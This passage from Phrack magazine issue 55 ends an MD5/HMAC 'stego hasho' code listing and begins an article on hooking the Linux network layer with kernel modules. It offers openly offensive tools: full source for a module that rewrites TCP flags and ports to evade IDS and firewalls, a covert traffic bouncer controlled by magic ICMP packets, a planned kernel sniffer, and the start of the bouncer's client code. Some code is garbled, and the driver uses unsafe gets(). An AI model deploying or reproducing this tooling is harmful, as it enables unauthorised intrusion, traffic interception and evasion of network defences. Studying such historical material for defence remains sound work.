bcopy(mdContext‑>digest,digest,16);

}

/* Basic MD5 step. Transforms buf based on in.

*/

static void Transform (buf, in)

UINT4 *buf;

UINT4 *in;

{

UINT4 a = buf[0], b = buf[1], c = buf[2], d = buf[3];

/* Round 1 */

#define S11 7

#define S12 12

#define S13 17

#define S14 22

FF ( a, b, c, d, in[ 0], S11, 3614090360); /* 1 */

FF ( d, a, b, c, in[ 1], S12, 3905402710); /* 2 */

FF ( c, d, a, b, in[ 2], S13, 606105819); /* 3 */

FF ( b, c, d, a, in[ 3], S14, 3250441966); /* 4 */

FF ( a, b, c, d, in[ 4], S11, 4118548399); /* 5 */

FF ( d, a, b, c, in[ 5], S12, 1200080426); /* 6 */

FF ( c, d, a, b, in[ 6], S13, 2821735955); /* 7 */

FF ( b, c, d, a, in[ 7], S14, 4249261313); /* 8 */

FF ( a, b, c, d, in[ 8], S11, 1770035416); /* 9 */

FF ( d, a, b, c, in[ 9], S12, 2336552879); /* 10 */

FF ( c, d, a, b, in[10], S13, 4294925233); /* 11 */

FF ( b, c, d, a, in[11], S14, 2304563134); /* 12 */

FF ( a, b, c, d, in[12], S11, 1804603682); /* 13 */

FF ( d, a, b, c, in[13], S12, 4254626195); /* 14 */

FF ( c, d, a, b, in[14], S13, 2792965006); /* 15 */

FF ( b, c, d, a, in[15], S14, 1236535329); /* 16 */

/* Round 2 */

#define S21 5

#define S22 9

#define S23 14

#define S24 20

GG ( a, b, c, d, in[ 1], S21, 4129170786); /* 17 */

GG ( d, a, b, c, in[ 6], S22, 3225465664); /* 18 */

GG ( c, d, a, b, in[11], S23, 643717713); /* 19 */

GG ( b, c, d, a, in[ 0], S24, 3921069994); /* 20 */

GG ( a, b, c, d, in[ 5], S21, 3593408605); /* 21 */

GG ( d, a, b, c, in[10], S22, 38016083); /* 22 */

GG ( c, d, a, b, in[15], S23, 3634488961); /* 23 */

GG ( b, c, d, a, in[ 4], S24, 3889429448); /* 24 */

GG ( a, b, c, d, in[ 9], S21, 568446438); /* 25 */

GG ( d, a, b, c, in[14], S22, 3275163606); /* 26 */

GG ( c, d, a, b, in[ 3], S23, 4107603335); /* 27 */

GG ( b, c, d, a, in[ 8], S24, 1163531501); /* 28 */

GG ( a, b, c, d, in[13], S21, 2850285829); /* 29 */

GG ( d, a, b, c, in[ 2], S22, 4243563512); /* 30 */

GG ( c, d, a, b, in[ 7], S23, 1735328473); /* 31 */

GG ( b, c, d, a, in[12], S24, 2368359562); /* 32 */

/* Round 3 */

#define S31 4

#define S32 11

#define S33 16

#define S34 23

HH ( a, b, c, d, in[ 5], S31, 4294588738); /* 33 */

HH ( d, a, b, c, in[ 8], S32, 2272392833); /* 34 */

HH ( c, d, a, b, in[11], S33, 1839030562); /* 35 */

HH ( b, c, d, a, in[14], S34, 4259657740); /* 36 */

HH ( a, b, c, d, in[ 1], S31, 2763975236); /* 37 */

HH ( d, a, b, c, in[ 4], S32, 1272893353); /* 38 */

HH ( c, d, a, b, in[ 7], S33, 4139469664); /* 39 */

HH ( b, c, d, a, in[10], S34, 3200236656); /* 40 */

HH ( a, b, c, d, in[13], S31, 681279174); /* 41 */

HH ( d, a, b, c, in[ 0], S32, 3936430074); /* 42 */

HH ( c, d, a, b, in[ 3], S33, 3572445317); /* 43 */

HH ( b, c, d, a, in[ 6], S34, 76029189); /* 44 */

HH ( a, b, c, d, in[ 9], S31, 3654602809); /* 45 */

HH ( d, a, b, c, in[12], S32, 3873151461); /* 46 */

HH ( c, d, a, b, in[15], S33, 530742520); /* 47 */

HH ( b, c, d, a, in[ 2], S34, 3299628645); /* 48 */

/* Round 4 */

#define S41 6

#define S42 10

#define S43 15

#define S44 21

II ( a, b, c, d, in[ 0], S41, 4096336452); /* 49 */

II ( d, a, b, c, in[ 7], S42, 1126891415); /* 50 */

II ( c, d, a, b, in[14], S43, 2878612391); /* 51 */

II ( b, c, d, a, in[ 5], S44, 4237533241); /* 52 */

II ( a, b, c, d, in[12], S41, 1700485571); /* 53 */

II ( d, a, b, c, in[ 3], S42, 2399980690); /* 54 */

II ( c, d, a, b, in[10], S43, 4293915773); /* 55 */

II ( b, c, d, a, in[ 1], S44, 2240044497); /* 56 */

II ( a, b, c, d, in[ 8], S41, 1873313359); /* 57 */

II ( d, a, b, c, in[15], S42, 4264355552); /* 58 */

II ( c, d, a, b, in[ 6], S43, 2734768916); /* 59 */

II ( b, c, d, a, in[13], S44, 1309151649); /* 60 */

II ( a, b, c, d, in[ 4], S41, 4149444226); /* 61 */

II ( d, a, b, c, in[11], S42, 3174756917); /* 62 */

II ( c, d, a, b, in[ 2], S43, 718787259); /* 63 */

II ( b, c, d, a, in[ 9], S44, 3951481745); /* 64 */

buf[0] += a;

buf[1] += b;

buf[2] += c;

buf[3] += d;

}

/*

***************************************

** End of md5.c

******************************** (cut) ********************************

*/

<‑‑>

hmac.c

‑‑‑‑‑‑

<++> P55/Stego‑hasho/hmac.c !d4cbaed9

/* sample code from RFC2104 */

#include <string.h>

#include "md5.h"

/*

** Function: hmac_md5

*/

void

hmac_md5(text, text_len, key, key_len, digest)

unsigned char* text; /* pointer to data stream */

int text_len; /* length of data stream */

unsigned char* key; /* pointer to authentication key */

int key_len; /* length of authentication key */

unsigned char * digest; /* caller digest to be filled in */

{

MD5_CTX context;

unsigned char k_ipad[65]; /* inner padding ‑

* key XORd with ipad

*/

unsigned char k_opad[65]; /* outer padding ‑

* key XORd with opad

*/

unsigned char tk[16];

int i;

/* if key is longer than 64 bytes reset it to key=MD5(key) */

if (key_len > 64) {

MD5_CTX tctx;

MD5Init(&tctx);

MD5Update(&tctx, key, key_len); MD5Final(tk, &tctx);

key = tk;

key_len = 16;

}

/*

* the HMAC_MD5 transform looks like:

*

* MD5(K XOR opad, MD5(K XOR ipad, text))

*

* where K is an n byte key

* ipad is the byte 0x36 repeated 64 times

* opad is the byte 0x5c repeated 64 times

* and text is the data being protected

*/

/* start out by storing key in pads */

bzero( k_ipad, sizeof k_ipad);

bzero( k_opad, sizeof k_opad);

bcopy( key, k_ipad, key_len);

bcopy( key, k_opad, key_len);

/* XOR key with ipad and opad values */

for (i=0; i<64; i++) {

k_ipad[i] ^= 0x36;

k_opad[i] ^= 0x5c;

}

/*

* perform inner MD5

*/

MD5Init(&context); /* init context for 1st

pass */

MD5Update(&context, k_ipad, 64); /* start with inner pad */

MD5Update(&context, text, text_len); /* then text of datagram */

MD5Final(digest, &context); /* finish up 1st pass */

/*

* perform outer MD5

*/

MD5Init(&context); /* init context for 2nd

pass */

MD5Update(&context, k_opad, 64); /* start with outer pad */

MD5Update(&context, digest, 16); /* then results of 1st

hash */

MD5Final(digest, &context); /* finish up 2nd pass */

}

<‑‑>

md5driver.c

‑‑‑‑‑‑‑‑‑‑‑

<++> P55/Stego‑hasho/md5driver.c !508d7874

/*

***************************************

** md5driver.c ‑‑ sample test routines **

** RSA Data Security, Inc. MD5 Message‑Digest Algorithm **

** Created: 2/16/90 RLR

** Updated: 1/91 SRD

** Updated: 6/99 Conehead

***************************************

*/

/*

***************************************

** Copyright (C) 1990, RSA Data Security, Inc. All rights reserved. **

**

** RSA Data Security, Inc. makes no representations concerning ** ** either the merchantability of this software or the suitability ** ** of this software for any particular purpose. It is provided "as ** ** is" without express or implied warranty of any kind. **

**

** These notices must be retained in any copies of any part of this **

** documentation and/or software. **

***************************************

*/

#include <stdio.h>

#include <sys/types.h>

#include <time.h>

#include <string.h>

#include "md5.h"

/* Prints message digest buffer in mdContext as 32 hexadecimal digits.

Order is from low‑order byte to high‑order byte of digest. Each byte is printed with high‑order hexadecimal digit first. */

static void MDPrint (mdContext)

MD5_CTX *mdContext;

{

int i;

for (i = 0; i < 16; i++)

printf ("%02x", mdContext‑>digest[i]);

}

/* size of test block */

#define TEST_BLOCK_SIZE 1000

/* number of blocks to process */

#define TEST_BLOCKS 10000

/* number of test bytes = TEST_BLOCK_SIZE * TEST_BLOCKS */

static long TEST_BYTES = (long)TEST_BLOCK_SIZE * (long)TEST_BLOCKS;

/* A time trial routine, to measure the speed of MD5.

Measures wall time required to digest TEST_BLOCKS * TEST_BLOCK_SIZE characters.

*/

static void MDTimeTrial ()

{

MD5_CTX mdContext;

time_t endTime, startTime;

unsigned char data[TEST_BLOCK_SIZE];

unsigned int i;

unsigned char digest[16];

/* initialize test data */

for (i = 0; i < TEST_BLOCK_SIZE; i++)

data[i] = (unsigned char)(i & 0xFF);

/* start timer */

printf ("MD5 time trial. Processing %ld characters...\n", TEST_BYTES); time (&startTime);

/* digest data in TEST_BLOCK_SIZE byte blocks */

MD5Init (&mdContext);

for (i = TEST_BLOCKS; i > 0; i‑‑)

MD5Update (&mdContext, data, TEST_BLOCK_SIZE);

MD5Final (digest,&mdContext);

/* stop timer, get time difference */

time (&endTime);

MDPrint (&mdContext);

printf (" is digest of test input.\n");

printf

("Seconds to process test input: %ld\n", (long)(endTime‑startTime)); printf

("Characters processed per second: %ld\n", TEST_BYTES/(endTime‑startTime));

}

/* Computes the message digest for string inString.

Prints out message digest, a space, the string (in quotes) and a carriage return.

*/

static void MDString (inString)

char *inString;

{

MD5_CTX mdContext;

unsigned int len = strlen (inString);

unsigned char digest[16];

MD5Init (&mdContext);

MD5Update (&mdContext, inString, len);

MD5Final (digest,&mdContext);

/* MDPrint (&mdContext);

printf (" \"%s\"\n", inString);*/

}

/* Computes the message digest for a specified file.

Prints out message digest, a space, the file name, and a carriage return.

*/

static void MDFile (filename)

char *filename;

{

FILE *inFile = fopen (filename, "rb");

MD5_CTX mdContext;

int bytes;

unsigned char data[1024];

unsigned char digest[16];

if (inFile == NULL) {

printf ("%s can't be opened.\n", filename);

return;

}

MD5Init (&mdContext);

while ((bytes = fread (data, 1, 1024, inFile)) != 0) MD5Update (&mdContext, data, bytes);

MD5Final (digest,&mdContext);

MDPrint (&mdContext);

printf (" %s\n", filename);

fclose (inFile);

}

/* Writes the message digest of the data from stdin onto stdout,

followed by a carriage return.

*/

static void MDFilter ()

{

MD5_CTX mdContext;

int bytes;

unsigned char data[16];

unsigned char digest[16];

MD5Init (&mdContext);

while ((bytes = fread (data, 1, 16, stdin)) != 0)

MD5Update (&mdContext, data, bytes);

MD5Final (digest,&mdContext);

MDPrint (&mdContext);

printf ("\n");

}

/* Runs a standard suite of test data.

*/

static void MDTestSuite ()

{

printf ("MD5 test suite results:\n");

MDString ("");

MDString ("a");

MDString ("abc");

MDString ("message digest");

MDString ("abcdefghijklmnopqrstuvwxyz");

MDString ("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"); MDString

("1234567890123456789012345678901234567890\ 1234567890123456789012345678901234567890");

/* Contents of file foo are "abc" */

MDFile ("foo");

}

static void MDTestDictionary ()

{

char word[100];

unsigned char digest[16];

FILE *inFile = fopen ("/usr/dict/words", "r");

printf ("MD5 dictionary results:\n");

while (fscanf(inFile,"%s",word) != EOF)

hmac_md5(word, strlen(word), "testkey", strlen("testkey"), digest); fclose(inFile);

}

static void MDTestStegoHasho ()

{

char key[100];

char word[100];

char message[100];

char public[50];

time_t timestamp;

char secret[50];

unsigned char digest1[16],digest2[16];

int i;

FILE *inFile = fopen ("/usr/dict/words", "r");

printf ("MD5 Stego Hasho\n");

printf ("Sender‑\n");

printf ("Input shared secret key:");

gets(key);

printf ("Input public message:");

gets(public);

time (&timestamp);

printf ("Input secret message:");

gets(secret);

printf ("Creating hash\n"); sprintf(message,"%s%d",public,timestamp); strcat(message,secret);

hmac_md5(message, strlen(message), key, strlen(key), digest1); printf ("Sent across wire from sender to receiver‑\nmessage:%s%d hash:", public,timestamp);

for (i = 0; i < 16; i++)

printf ("%02x", digest1[i]);

printf ("\nReceiver‑\n");

printf ("See if only MAC\n"); sprintf(message,"%s%d",public,timestamp);

hmac_md5(message, strlen(message), key, strlen(key), digest2); printf ("MAC hash:");

for (i = 0; i < 16; i++)

printf ("%02x", digest2[i]);

if (bcmp(digest1,digest2,16) != 0)

printf ("\nNot a MAC!\n");

else {

printf ("\nIt's a MAC!\n");

fclose(inFile);

exit(0);

}

printf ("Finding secret message\n");

while (fscanf(inFile,"%s",word) != EOF) { sprintf(message,"%s%d",public,timestamp); strcat(message,word);

hmac_md5(message, strlen(message), key, strlen(key), digest2); if (bcmp(digest1,digest2,16) == 0) {

printf ("Dictionary word hash:");

for (i = 0; i < 16; i++)

printf ("%02x", digest2[i]);

printf ("\nThe secret message is %s!\n",word);

break;

}

}

if (bcmp(digest1,digest2,16) != 0)

printf ("The secret message was not found!\n"); fclose(inFile);

}

int main (argc, argv)

int argc;

char *argv[];

{

int i;

/* For each command line argument in turn:

** filename ‑‑ prints message digest and name of file ** ‑d ‑‑ prints time trial of whole dictionary ** ‑h ‑‑ performs stego hasho

** ‑sstring ‑‑ prints message digest and contents of string ** ‑t ‑‑ prints time trial statistics for 10M characters

** ‑x ‑‑ execute a standard suite of test data ** (no args) ‑‑ writes messages digest of stdin onto stdout */

if (argc == 1)

MDFilter ();

else

for (i = 1; i < argc; i++)

if (argv[i][0] == '‑' && argv[i][1] == 's')

MDString (argv[i] + 2);

else if (strcmp (argv[i], "‑d") == 0) MDTestDictionary ();

else if (strcmp (argv[i], "‑h") == 0) MDTestStegoHasho ();

else if (strcmp (argv[i], "‑t") == 0)

MDTimeTrial ();

else if (strcmp (argv[i], "‑x") == 0)

MDTestSuite ();

else MDFile (argv[i]);

return(0);

}

/*

***************************************

** End of md5driver.c

******************************** (cut) ********************************

*/

<‑‑>

Building Into The Linux Network Layer

‑‑‑‑‑‑‑[ Phrack Magazine ‑‑‑ Vol. 9 | Issue 55 ‑‑‑ 09.09.99 ‑‑‑ 12 of 19 ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Building Into The Linux Network Layer ]

‑‑‑‑‑‑‑‑[ kossak <kossak@hackers‑pt.org>, lifeline <arai@hackers‑pt.org> ]

‑‑‑‑[ Introduction

As we all know, the Linux kernel has a monolithic architecture. That basically means that every piece of code that is executed by the kernel has to be loaded into kernel memory. To prevent having to rebuild the kernel every time new hardware is added (to add drivers for it), Mr. Linus Torvalds and the gang came up with the loadable module concept that we all came to love: the linux kernel modules (lkm's for short). This article begins by pointing out yet more interesting things that can be done using lkm's in the networking layer, and finishes by trying to provide a solution to kernel backdooring.

‑‑‑‑[ Socket Kernel Buffers

TCP/IP is a layered set of protocols. This means that the kernel needs to use several routine functions to process the different packet layers in order to fully "understand" the packet and connect it to a socket, etc. First, it needs a routine to handle the link‑layer header and, once processed there, the packet is passed to the IP‑layer handling routine(s), then to the transportlayer routine(s) and so on. Well, the different protocols need a way to communicate with each other as the packets are being processed. Under Linux the answer to this are socket kernel buffers (or sk_buff's). These are used to pass data between the different protocol layers (handling routines) and the network device drivers.

The sk_buff{} structure (only the most important items are presented, see linux/include/linux/skbuff.h for more):

sk_buff{}

‑‑‑‑‑‑‑‑+

next |

‑‑‑‑‑‑‑‑|

prev |

‑‑‑‑‑‑‑‑|

dev |

‑‑‑‑‑‑‑‑|

|

‑‑‑‑‑‑‑‑|

head |‑‑‑+

‑‑‑‑‑‑‑‑| |

data |‑‑‑|‑‑‑+

‑‑‑‑‑‑‑‑| | |

tail |‑‑‑|‑‑‑|‑‑‑+

‑‑‑‑‑‑‑‑| | | |

end |‑‑‑|‑‑‑|‑‑‑|‑‑‑+

‑‑‑‑‑‑‑‑|<‑‑+ | | |

| | | |

‑‑‑‑‑‑‑‑|<‑‑‑‑‑‑+ | |

Packet | | |

being | | |

handled | | |

‑‑‑‑‑‑‑‑|<‑‑‑‑‑‑‑‑‑‑+ |

| |

| |

| |

‑‑‑‑‑‑‑‑+<‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

next: pointer to the next sk_buff{}.

prev: pointer to the previous sk_buff{}.

dev: device we are currently using.

head: pointer to beginning of buffer which holds our packet. data: pointer to the actual start of the protocol data. This may vary depending of the protocol layer we are on.

tail: pointer to the end of protocol data, also varies depending of the protocol layer using he sk_buff.

end: points to the end of the buffer holding our packet. Fixed value.

For further enlightenment, imagine this:

‑ host A sends a packet to host B

‑ host B receives the packet through the appropriate network device.

‑ the network device converts the received data into sk_buff data structures.

‑ those data structures are added to the backlog queue.

‑ the scheduler then determines which protocol layer to pass the received packets to.

Thus, our next question arises... How does the scheduler determine which protocol to pass the data to? Well, each protocol is registered in a packet_type{} data structure which is held by either the ptype_all list or the ptype_base hash table. The packet_type{} data structure holds information on protocol type, network device, pointer to the protocol's receive data processing routine and a pointer to the next packet_type{} structure. The network handler matches the protocol types of the incoming packets (sk_buff's) with the ones in one or more packet_type{} structures. The sk_buff is then passed to the matching protocol's handling routine(s).

‑‑‑‑[ The Hack

What we do is code our own kernel module that registers our packet_type{} data structure to handle all incoming packets (sk_buff's) right after they come out of the device driver. This is easier than it seems. We simply fill in a packet_type{} structure and register it by using a kernel exported function called dev_add_pack(). Our handler will then sit between the device driver and the next (previously the first) routine handler. This means that every sk_buff that arrives from the device driver has to pass first through our packet handler.

‑‑‑‑[ The Examples

We present you with three real‑world examples, a protocol "mutation" layer, a kernel‑level packet bouncer, and a kernel‑level packet sniffer.

‑‑‑‑[ OTP (Obscure Transport Protocol)

The first one is really simple (and fun too), it works in a client‑server paradigm, meaning that you need to have two modules loaded, one on the client and one on the server (duh). The client module catches every TCP packet with the SYN flag on and swaps it with a FIN flag. The server module does exactly the opposite, swaps the FIN for a SYN. I find this particularly fun since both sides behave like a regular connection is undergoing, but if you watch it on the wire it will seem totally absurd. This can also do the same for ports and source address. Let's look at an example taken right from the wire.

Imagine the following scenario, we have host 'doubt' who wishes to make a telnet connection to host 'hardbitten'. We load the module in both sides telling it to swap port 23 for 80 and to swap a SYN for a FIN and vice‑versa.

[lifeline@doubt ITP]$ telnet hardbitten

A regular connection (without the modules loaded) looks like this:

03:29:56.766445 doubt.1025 > hardbitten.23: tcp (SYN) 03:29:56.766580 hardbitten.23 > doubt.1025: tcp (SYN ACK) 03:29:56.766637 doubt.1025 > hardbitten.23: tcp (ACK)

(we only look at the initial connection request, the 3‑way handshake)

Now we load the modules and repeat the procedure. If we look at the wire the connection looks like the following:

03:35:30.576331 doubt.1025 > hardbitten.80: tcp (FIN) 03:35:30.576440 hardbitten.80 > doubt.1025: tcp (FIN ACK) 03:35:30.576587 doubt.1025 > hardbitten.80: tcp (ACK)

When, what is happening in fact, is that 'doubt' is (successfully) requesting a telnet session to host 'hardbitten'. This is a nice way to evade IDSes and many firewall policies. It is also very funny. :‑)

Ah, There is a problem with this, when closing a TCP connection the FIN's are replaced by SYN's because of the reasons stated above, there is, however, an easy way to get around this, is to tell our lkm just to swap the flags when the socket is in TCP_LISTEN, TCP_SYN_SENT or TCP_SYN_RECV states. I have not implemented this partly to avoid misuse by "script kiddies", partly because of laziness and partly because I'm just too busy. However, it is not hard to do this, go ahead and try it, I trust you.

‑‑‑‑[ A Kernel Traffic Bouncer

This packet relaying tool is mainly a proof of concept work at this point. This one is particularly interesting when combined with the previous example. We load our module on the host 'medusa' that then sits watching every packet coming in. We want to target host 'hydra' but this one only accepts telnet connections from the former. However, it's too risky to log into 'medusa' right now, because root is logged. No problem, we send an ICMP_ECHO_REQUEST packet that contains a magic cookie or password and 2 ip's and 2 ports like: <sourceip:srcport, destip:destport>. We can however omit srcport without too much trouble (as we did on the example shown below). Our module then accepts this cookie and processes it. It now knows that any packet coming from sourceip:srcport into medusa:destport is to be sent to destip:destport.

The following example illustrates this nicely:

‑ host medusa has bouncer module installed.

‑ host medusa receives an magic ICMP packet with: <sourceip:srcprt, destip:dstprt>

‑ any packet coming to host medusa from `sourceip:srcprt` with destination port `dstport` is routed to `destip`, and vice‑versa. The packets are never processed by the rest of the stack on medusa.

Note that as I said above, in the coded example we removed `srcprt` from the information sent to the bouncer. This means it will accept packets from any source port. This can be dangerous: imagine that I have this bouncing rule processed on host 'medusa':

<intruder, hydra:23>

Now try to telnet from 'medusa' to 'hydra'. You won't make it. Every packet coming back from hydra is sent to 'intruder', so no response appears to the user executing the telnet. Intruder will drop the packets obviously, since he didn't start a connection. Using a source port on the rule minimizes this risk, but there is still a possibility (not likely) that a user on medusa uses the same source port we used on our bouncing rule. This should be possible to avoid by reserving the source port on host medusa (see masquerading code in the kernel).

As a side note, this technique can be used on almost all protocols, even those without port abstraction (UDP/TCP). Even icmp bouncing should be possible using cookies. This is a more low‑level approach than ip masquerading, and IMHO a much better one :)

Issues with the bouncer:

‑ Source port ambiguity. My suggestion to solving this is to accept the rules without a source port, and then add that to the rule after a SYN packet reaches the bouncer. The rule then only affects that connection. The source port is then cleared by an RST or a timeout waiting for packets. ‑ No timeout setting on rules.

‑ The bouncer does not handle IP fragments.

Also, there's a bigger issue in hand. Notice in the source that I'm sending the packets right through the device they came. This is a bad situation for routers. This happens because I only have immediate access to the hardware address of the originating packet's device. To implement routing to another device, we must consult IP routing tables, find the device that is going to send the packet, and the destination machine's MAC address (if it is an ethernet device), that may only be available after an ARP request. It's tricky stuff. This problem, depending on the network, can become troublesome. Packets could be stuck on 2 hosts looping until they expire (via TTL), or, if the network has traffic redundancy, they might escape safely.

‑‑‑‑[ A Kernel Based Sniffer

Another proof of concept tool, the sniffer is a bit simpler in concept than the bouncer. It just sits in its socket buffer handler above all other protocol handlers and listens for, say, TCP packets, and then logs them to a file. There are some tricks to it of course... We have to be able to identify packets from different connections, and better yet, we have to order out‑of‑sequence tcp packets, in order to get coherent results. This is particularly nasty in case of telnet connections.

(a timeout feature is

missing too, and the capability

of sniffing more than one connection at a given moment (this one is tricky).

Ideally, the module should store all results in kernel memory and send them back to us (if we say, send it a special packet). But this is a proof of concept, and it is not a finished "script kiddies" product, so I leave you smart readers to polish the code, learn it, and experiment with it :)

‑‑‑‑[ A Solution For Kernel Harassing

So, having fun kicking kernel ass from left to right? Let's end the tragedy, the linux kernel is your friend! :) Well, I've read Silvio's excellent article about patching the kernel using /dev/kmem, so obviously compiling the kernel without module support is not enough. I leave you with an idea. It should be fairly simple to code. It's a module (yes, another one), that when loaded prevents any other modules to load, and turns /dev/kmem into a read‑only device (kernel memory can only be accessed with ring 0 privilege). So without any kernel routine made available to the outside, the kernel is the only one that can touch it's own memory. Readers should know that this is not something new. Securelevels are (somewhat) implemented in kernels 2.0.x and do some cool stuff like not allowing writing directly to critical devices, such as /dev/kmem, /dev/mem, and /dev/hd*. This was not implemented in 2.2.x, so it would be nice to have a module like this. When an administrator is through loading modules, and wants to leave the system just a bit more secure, he loads the 'lock' module, and presto, no more kernel harassing. This must be of course be accompanied by other measures. I believe a real secure system should have this module installed and the kernel image file stored on a read only media, such as a floppy disk drive, and no boot loader such as lilo. You should also be worried about securing the CMOS data. You just want to boot using the floppy. Securing the CMOS data can be tricky on a rooted system as I noticed on a recent discussion on irc (liquidk, you intelligent bastard), but this is out of the scope of this article. This idea could also be implemented directly in the kernel without using modules. Mainly I would like to see a real secure levels implementation on 2.2.x :)

‑‑‑[ References

+ The Linux Kernel by David A. Rusling

+ TCP/IP Illustrated, Volume 1 by W. Richard Stevens (Addison Wesley) + Phrack Issue 52, article 18 (P52‑18) by plaguez.

+ Windows 98 Unleashed by Stev...oh. no. wait, this can't be right... :‑)

‑‑‑‑[ Acknowledgements

Both the authors would like to thank to:

+ HPT (http://www.hackers‑pt.org) for being a bunch of idiots (hehe).

+ pmsac@toxyn.org for support and coming up with the idea for the kernel based sniffer.

+ LiquidK for coming up with the OTP concept and fucking up some of our seemingly 'invincible' concepts :)

+ All of you leet hackers from Portugal, you know who you are. The scene shall be one again!! :)

‑‑‑‑[ The Code: OTP

<++> P55/Linux‑lkm/OTP/otp.c !bf8d47e0

/*

* Obscure Transport Protocol

*

* Goal: Change TCP behavior to evade IDS and firewall policies. *

* lifeline (c) 1999

* <arai@hackers‑pt.org>

*

* gcc ‑O6 ‑c otp.c ‑I/usr/src/linux/include

* insmod otp.o dev=eth0 ip=123.123.123.123

*

* In ip= use only numerical dotted ip's!!

* Btw, this is the ip of the other machine that also has the module. *

* Load this module in both machines putting in the ip= argument each other's * machine numerical dotted ip.

*

* Oh, and don't even think about flaming me if this fucks up your machine, * it works fine on mine with kernel 2.2.5.

* This tool stands on its own. I'm not responsible for any damage caused by it. *

* You will probably want to make some arrangements with the #define's below. *

*/

#define MODULE

#define __KERNEL__

#include <linux/config.h>

#include <linux/module.h>

#include <linux/version.h>

#include <linux/byteorder/generic.h>

#include <linux/netdevice.h>

#include <net/protocol.h>

#include <net/pkt_sched.h>

#include <net/tcp.h>

#include <net/ip.h>

#include <linux/if_ether.h>

#include <linux/ip.h>

#include <linux/tcp.h>

#include <linux/skbuff.h>

#include <linux/icmp.h>

#include <linux/kernel.h>

#include <linux/mm.h>

#include <linux/file.h>

#include <asm/uaccess.h>

/* Define here if you want to swap ports also */

#defineREALPORT23 /* port you which to communicate */

#define FAKEPORT80/* port that appears on the wire */

char *dev, *ip;

MODULE_PARM(dev, "s");

MODULE_PARM(ip, "s");

struct device *d;

struct packet_type otp_proto;

__u32 in_aton(const char *);

/* Packet Handler Function */

int otp_func(struct sk_buff *skb, struct device *dv, struct packet_type *pt) {

unsigned long int magic_ip;

unsigned int fin = skb‑>h.th‑>fin;

unsigned int syn = skb‑>h.th‑>syn;

magic_ip = in_aton(ip);

if ((skb‑>pkt_type == PACKET_HOST || skb‑>pkt_type == PACKET_OUTGOING) && (skb‑>nh.iph‑>saddr == magic_ip || skb‑>nh.iph‑>daddr == magic_ip) && (skb‑>h.th‑>source == FAKEPORT) || (skb‑>h.th‑>dest == FAKEPORT)) {

if (skb‑>h.th‑>source == FAKEPORT) skb‑>h.th‑>source = htons(REALPORT); if (skb‑>h.th‑>dest == FAKEPORT) skb‑>h.th‑>dest = htons(REALPORT);

if (skb‑>h.th‑>fin == 1) {

skb‑>h.th‑>fin = 0;

skb‑>h.th‑>syn = 1;

goto bye;

}

if (skb‑>h.th‑>syn == 1) {

skb‑>h.th‑>fin = 1;

skb‑>h.th‑>syn = 0;

}

}

bye:

kfree_skb(skb);

return 0;

}

/*

* Convert an ASCII string to binary IP.

*/

__u32 in_aton(const char *str) {

unsigned long l;

unsigned int val;

int i;

l = 0;

for (i = 0; i < 4; i++) {

l <<= 8;

if (*str != '\0') {

val = 0;

while (*str != '\0' && *str != '.') {

val *= 10;

val += *str ‑ '0';

str++;

}

l |= val;

if (*str != '\0')

str++;

}

}

return(htonl(l));

}

int init_module() {

if(!ip) {

printk("Error: missing end‑host ip.\n");

printk("Usage: insmod otp.o ip=x.x.x.x [dev=devname]\n\n"); return ‑ENXIO;

}

if (dev) {

d = dev_get(dev);

if (!d) {

printk("Did not find device %s!\n", dev);

printk("Using all known devices...");

}

else {

printk("Using device %s, ifindex: %i\n",

dev, d‑>ifindex);

otp_proto.dev = d;

}

}

else

printk("Using all known devices(wildcarded)...\n");

otp_proto.type = htons(ETH_P_ALL);

otp_proto.func = otp_func;

dev_add_pack(&otp_proto);

return(0);

}

void cleanup_module() {

dev_remove_pack(&otp_proto);

printk("OTP unloaded\n");

}

<‑‑>

<++> P55/Linux‑lkm/Bouncer/brules.c !677bd859

/*

* Kernel Bouncer ‑ Rules Client

* brules.c

*

* lifeline|arai (c) 1999

* arai@hackers‑pt.org

*

* Btw, needs libnet (http://www.packetfactory.net/libnet).

* Be sure to use 0.99d or later or this won't work due to a bug in previous versions. *

* Compile: gcc brules.c ‑lnet ‑o brules

* Usage: ./brules srcaddr dstaddr password srcaddr‑rule dstaddr‑rule dstport‑rule protocol‑rule *

* srcaddr ‑ source address

* dstaddr ‑ destination adress (host with the bouncer loaded)

* password ‑ magic string for authentication with module

* srcaddr‑rule ‑ source address of new bouncing rule

* dstaddr‑rule ‑ destination address of new bouncing rule

* dstport‑rule ‑ destination port of new bouncing rule

* protocol‑rule ‑ protocol of new bouncing rule (tcp, udp or icmp), 0 deletes all existing rules *

* Example:

* # ./brules 195.138.10.10 host.domain.com lifeline 192.10.10.10 202.10.10.10 23 tcp *

* This well tell 'host.domain.com' to redirect all connections to port 23 * from '192.10.10.10', using TCP as the transport protocol, to the same port, * using the same protocol, of host '202.10.10.10'.

* Of course, host.domain.com has to be with the module loaded.

*

* Copyright (c) 1999 lifeline <arai@hackers‑pt.org>

* All rights reserved.

*

*/

#include <stdio.h>

#include <libnet.h>

#define MAGIC_STR argv[3]

int main(int argc, char **argv) {

struct rule {

u_longsrcaddr, dstaddr;

u_charprotocol;

u_shortdestp;

struct rule *next;

} *rules;

unsigned char *buf;

u_char *payload;

int c, sd, payload_s={0};

if (argc != 8) {

printf("Kernel Bouncer ‑ Rules Client\n"); printf("arai|lifeline (c) 1999\n\n");

printf("Thanks to Kossak for the original idea.\n"); printf("Usage: %s srcaddr dstaddr password srcaddr‑rule dstaddr‑rule dstport‑rule protocol‑rule\n", argv[0]); exit(0);

}

rules = (struct rule *)malloc(sizeof(struct rule)); rules‑>srcaddr = libnet_name_resolve(argv[4], 1);

rules‑>dstaddr = libnet_name_resolve(argv[5], 1);

rules‑>destp = htons(atoi(argv[6]));

rules‑>protocol = atoi(argv[7]);

if(strcmp(argv[7], "tcp")==0)rules‑>protocol = IPPROTO_TCP; if(strcmp(argv[7], "udp")==0)rules‑>protocol = IPPROTO_UDP; if(strcmp(argv[7], "icmp")==0)rules‑>protocol = IPPROTO_ICMP; rules‑>next = 0;

payload = (u_char *)malloc(strlen(MAGIC_STR) + sizeof(struct rule)); memcpy(payload, MAGIC_STR, strlen(MAGIC_STR));

memcpy((struct rule *)(payload + strlen(MAGIC_STR)), rules, sizeof(struct rule)); payload_s = strlen(MAGIC_STR) + sizeof(struct rule);

buf = malloc(8 + IP_H + payload_s);

